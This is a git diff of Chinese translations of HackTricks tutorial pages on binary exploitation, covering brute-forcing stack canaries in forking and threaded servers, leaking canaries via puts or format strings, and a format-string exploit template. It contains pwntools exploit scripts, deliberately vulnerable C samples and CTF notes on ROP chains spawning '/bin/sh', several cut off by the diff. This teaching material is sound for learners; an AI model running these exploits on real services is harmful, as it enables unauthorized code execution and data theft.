<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,37 +1,38 @@
|
|||
# BF Forked & Threaded Stack Canaries
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技能:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技能:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 仓库提交 PR 来分享黑客技巧。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**如果您面对一个由canary和PIE(位置无关可执行文件)保护的二进制文件,您可能需要找到一种绕过它们的方法。**
|
||||
**如果你面对一个受到 canary 和 PIE(位置无关可执行文件)保护的二进制文件,你可能需要找到一种绕过它们的方法。**
|
||||
|
||||
![](<../../../.gitbook/assets/image (865).png>)
|
||||
|
||||
{% hint style="info" %}
|
||||
请注意,**`checksec`**可能无法发现一个二进制文件受到canary保护,如果它是静态编译的,并且无法识别该函数。\
|
||||
但是,您可以手动注意到这一点,如果您发现在函数调用开始时将一个值保存在堆栈中,并且在退出之前检查了这个值。
|
||||
请注意,**`checksec`** 可能无法发现一个二进制文件受到 canary 保护,如果它是静态编译的并且无法识别函数。\
|
||||
然而,你可以手动注意到这一点,如果你发现在函数调用的开始处保存了一个值在堆栈中,并且在退出之前检查了这个值。
|
||||
{% endhint %}
|
||||
|
||||
## Brute force Canary
|
||||
|
||||
绕过简单canary的最佳方法是,如果二进制文件是一个程序,**每次您与其建立新连接时都会fork子进程**(网络服务),因为每次连接到它时**将使用相同的canary**。
|
||||
绕过简单 canary 的最佳方法是,如果二进制文件是一个程序,在**每次你与它建立新连接时分叉子进程**(网络服务),因为每次连接到它时**相同的 canary 将被使用**。
|
||||
|
||||
因此,绕过canary的最佳方法就是**逐个字符地暴力破解它**,您可以通过检查程序是否崩溃或继续其正常流程来判断猜测的canary字节是否正确。在这个示例中,函数**暴力破解一个8字节的canary(x64)**,并区分正确猜测的字节和错误的字节,只需**检查**服务器是否发送了**响应**(在**其他情况**下,另一种方法可能是使用**try/except**):
|
||||
因此,绕过 canary 的最佳方法就是**逐个字符地暴力破解它**,你可以通过检查程序是否崩溃或继续其正常流程来判断猜测的 canary 字节是否正确。在这个示例中,函数**暴力破解一个 8 字节的 canary(x64)**,并区分正确猜测的字节和错误的字节,只需**检查**服务器是否发送了**响应**(在**其他情况**下,另一种方法可能是使用**try/except**):
|
||||
|
||||
### 示例1
|
||||
### 示例 1
|
||||
|
||||
此示例是为64位实现的,但也可以轻松实现为32位。
|
||||
这个示例是为 64 位实现的,但也可以很容易地为 32 位实现。
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -70,10 +71,10 @@ print("Brute-Forcing canary")
|
|||
base_canary = get_bf(base) #Get yunk data + canary
|
||||
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
||||
```
|
||||
### 示例 2
|
||||
### 示例2
|
||||
|
||||
这是为32位系统实现的,但很容易改为64位。\
|
||||
还要注意,对于这个示例,**程序首先期望一个字节来指示输入的大小**和有效载荷。
|
||||
这是为32位系统实现的,但很容易改为64位系统。\
|
||||
还要注意,对于这个示例,**程序预期首先有一个字节来指示输入的大小**和有效载荷。
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -116,15 +117,15 @@ log.info(f"The canary is: {canary}")
|
|||
```
|
||||
## 线程
|
||||
|
||||
同一进程的线程也会**共享相同的canary token**,因此如果二进制文件在每次攻击发生时生成一个新线程,就有可能**暴力破解**canary。 
|
||||
同一进程的线程也会**共享相同的canary token**,因此如果二进制文件在每次攻击发生时生成一个新线程,就有可能**暴力破解canary**。 
|
||||
|
||||
此外,如果一个受canary保护的线程函数发生**缓冲区溢出**,就可以用来**修改存储在TLS中的主canary**。这是因为可能可以通过线程的**堆栈中的bof**达到存储TLS(因此也是canary)的内存位置。\
|
||||
因此,这种缓解措施是无效的,因为检查是使用两个相同的canary(尽管被修改)。\
|
||||
这种攻击在以下解说中执行:[http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
此外,如果一个受canary保护的线程函数发生**缓冲区溢出**,就可以用来**修改存储在TLS中的主canary**。这是因为可能可以通过线程的**栈上的bof**达到存储TLS(因此也是canary)的内存位置。\
|
||||
结果,这种缓解措施是无效的,因为检查是使用两个相同的canary(尽管被修改)。\
|
||||
这种攻击在这篇文章中进行了描述:[http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
|
||||
还请查看[https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015)的演示,其中提到通常**TLS**由**`mmap`**存储,当创建**线程**的**堆栈**时,也是由`mmap`生成的,根据这一点,可能允许如前述解说中所示的溢出。
|
||||
还要查看这个演示文稿:[https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015),其中提到通常**TLS**是由**`mmap`**存储的,当创建**线程**的**栈**时也是通过`mmap`生成的,根据这一点,可能会允许如前述写作中所示的溢出。
|
||||
|
||||
## 其他示例和参考资料
|
||||
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
|
||||
* 64位,无PIE,nx,BF canary,在某些内存中写入ROP以调用`execve`并跳转到那里。
|
||||
* 64位,无PIE,nx,BF canary,在某个内存中写入ROP以调用`execve`并跳转到那里。
|
||||
|
|
|
@ -1,57 +1,55 @@
|
|||
# 打印栈保护
|
||||
# 打印栈保护 Canaries
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 放大打印的栈
|
||||
|
||||
想象一种情况,一个**容易受到栈溢出攻击**的程序可以执行一个**指向栈溢出部分**的**puts**函数。攻击者知道**canary的第一个字节是空字节**(`\x00`),其余的canary是**随机**字节。然后,攻击者可以创建一个溢出,**覆盖栈直到canary的第一个字节**。
|
||||
想象一种情况,一个**容易受到栈溢出攻击**的程序可以执行一个**指向栈溢出部分**的**puts**函数。攻击者知道**canary的第一个字节是空字节**(`\x00`),其余的canary是**随机**字节。然后,攻击者可以创建一个溢出,**覆盖栈直到canary的第一个字节**。
|
||||
|
||||
然后,攻击者在有效负载的中间**调用puts功能**,这将**打印所有canary**(除了第一个空字节)。
|
||||
然后,攻击者在有效负载的中间**调用 puts 功能**,这将**打印所有的canary**(除了第一个空字节)。
|
||||
|
||||
有了这些信息,攻击者可以**构造并发送一个新的攻击**,知道canary(在**同一个程序会话**中)。
|
||||
有了这些信息,攻击者可以**构造并发送一个新的攻击**,知道了canary(在**同一个程序会话**中)。
|
||||
|
||||
显然,这种策略非常**受限**,因为攻击者需要能够**打印**他的**有效负载**的**内容**,以**外泄canary**,然后能够创建一个新的有效负载(在**同一个程序会话**中)并**发送****真正的缓冲区溢出**。
|
||||
显然,这种策略非常**受限**,因为攻击者需要能够**打印**他的**有效负载**的**内容**以**外泄canary**,然后能够创建一个新的有效负载(在**同一个程序会话**中)并**发送**真正的缓冲区溢出。
|
||||
|
||||
**CTF示例:** 
|
||||
**CTF 示例:** 
|
||||
|
||||
- [**https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html**](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||
- 64位,启用ASLR但没有PIE,第一步是填充溢出直到canary的字节0x00,然后调用puts泄漏它。使用canary创建ROP小工具来调用puts以泄漏GOT中puts的地址,然后使用ROP小工具调用`system('/bin/sh')`
|
||||
- [**https://guyinatuxedo.github.io/14-ret\_2\_system/hxp18\_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret\_2\_system/hxp18\_poorCanary/index.html)
|
||||
- 32位,ARM,无relro,canary,nx,无pie。溢出并调用puts以泄漏canary + ret2lib调用`system`,使用ROP链来弹出r0(参数`/bin/sh`)和pc(system的地址)
|
||||
* [**https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html**](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||
* 64 位,启用 ASLR 但没有 PIE,第一步是填充溢出直到 canary 的字节 0x00,然后调用 puts 泄露它。使用 canary 创建 ROP gadget 来调用 puts 以泄露 GOT 中 puts 的地址,然后使用 ROP gadget 调用 `system('/bin/sh')`
|
||||
* [**https://guyinatuxedo.github.io/14-ret\_2\_system/hxp18\_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret\_2\_system/hxp18\_poorCanary/index.html)
|
||||
* 32 位,ARM,没有 relro,canary,nx,没有 pie。溢出并调用 puts 来泄露 canary + ret2lib 调用 `system` 以及 ROP 链来弹出 r0(参数 `/bin/sh`)和 pc(system 的地址)
|
||||
|
||||
## 任意读取
|
||||
|
||||
通过类似格式**字符串**提供的**任意读取**,可能可以泄漏canary。查看此示例:[**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries),您可以阅读有关滥用格式字符串以读取任意内存地址的内容:
|
||||
通过类似格式**字符串**提供的**任意读取**,可能可以泄露 canary。查看这个例子:[**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) ,您可以阅读关于滥用格式字符串以读取任意内存地址的内容。
|
||||
|
||||
{% content-ref url="../../format-strings/" %}
|
||||
[format-strings](../../format-strings/)
|
||||
{% endcontent-ref %}
|
||||
* [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html)
|
||||
* 这个挑战以一种非常简单的方式滥用格式字符串来从栈中读取 canary。
|
||||
|
||||
- [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html)
|
||||
- 这个挑战以一种非常简单的方式滥用格式字符串来从栈中读取canary。
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,21 @@
|
|||
# 格式化字符串 - 任意读取示例
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索我们的独家[**NFTs**]收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 读取二进制起始
|
||||
## 读取二进制文件起始位置
|
||||
|
||||
### 代码
|
||||
```c
|
||||
|
@ -29,7 +30,7 @@ printf(buffer);
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
编译它使用:
|
||||
使用以下命令编译:
|
||||
```python
|
||||
clang -o fs-read fs-read.c -Wno-format-security -no-pie
|
||||
```
|
||||
|
@ -45,14 +46,10 @@ payload += p64(0x00400000)
|
|||
p.sendline(payload)
|
||||
log.info(p.clean())
|
||||
```
|
||||
* **偏移量为11**,因为设置多个A并通过循环**暴力破解**偏移量从0到50,发现在偏移量为11且有5个额外字符(在我们的情况下是竖线`|`)时,可以控制完整地址。
|
||||
* 我使用了**`%11$p`**,填充直到看到地址全为0x4141414141414141。
|
||||
* **格式字符串有效载荷在地址之前**,因为**printf在遇到空字节时会停止读取**,所以如果我们先发送地址然后发送格式字符串,printf永远不会到达格式字符串,因为会先遇到空字节。
|
||||
* 选择的地址是0x00400000,因为这是二进制文件的起始位置(没有PIE)。
|
||||
|
||||
<figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure>
|
||||
|
||||
## 读取密码
|
||||
* 偏移量为11,因为设置多个A并使用循环进行**暴力破解**,从偏移量0到50发现,在偏移量11处并带有5个额外字符(在我们的情况下是竖线`|`),可以控制完整地址。
|
||||
* 我使用**`%11$p`**进行填充,直到看到地址全为0x4141414141414141。
|
||||
* **格式字符串有效载荷位于地址之前**,因为**printf在遇到空字节时停止读取**,所以如果我们先发送地址,然后发送格式字符串,printf永远不会到达格式字符串,因为会先遇到空字节。
|
||||
* 选择的地址是0x00400000,因为这是二进制文件的起始位置(没有PIE)
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
@ -83,13 +80,13 @@ printf("Access Denied.\n");
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
编译它使用:
|
||||
使用以下命令编译:
|
||||
```bash
|
||||
clang -o fs-read fs-read.c -Wno-format-security
|
||||
```
|
||||
### 从栈中读取
|
||||
|
||||
**`stack_password`** 将被存储在栈中,因为它是一个局部变量,所以只需滥用 printf 来显示栈的内容就足够了。这是一个利用 BF 前 100 个位置来从栈中泄露密码的漏洞利用:
|
||||
**`stack_password`** 将被存储在栈中,因为它是一个局部变量,所以只需滥用 printf 来显示栈的内容就足够了。这是一个利用 BF 前100个位置来从栈中泄露密码的漏洞利用:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -177,16 +174,17 @@ p.close()
|
|||
```
|
||||
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# 格式化字符串模板
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```python
|
||||
from pwn import *
|
||||
from time import sleep
|
||||
|
@ -152,16 +153,17 @@ format_string.execute_writes()
|
|||
P.interactive()
|
||||
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
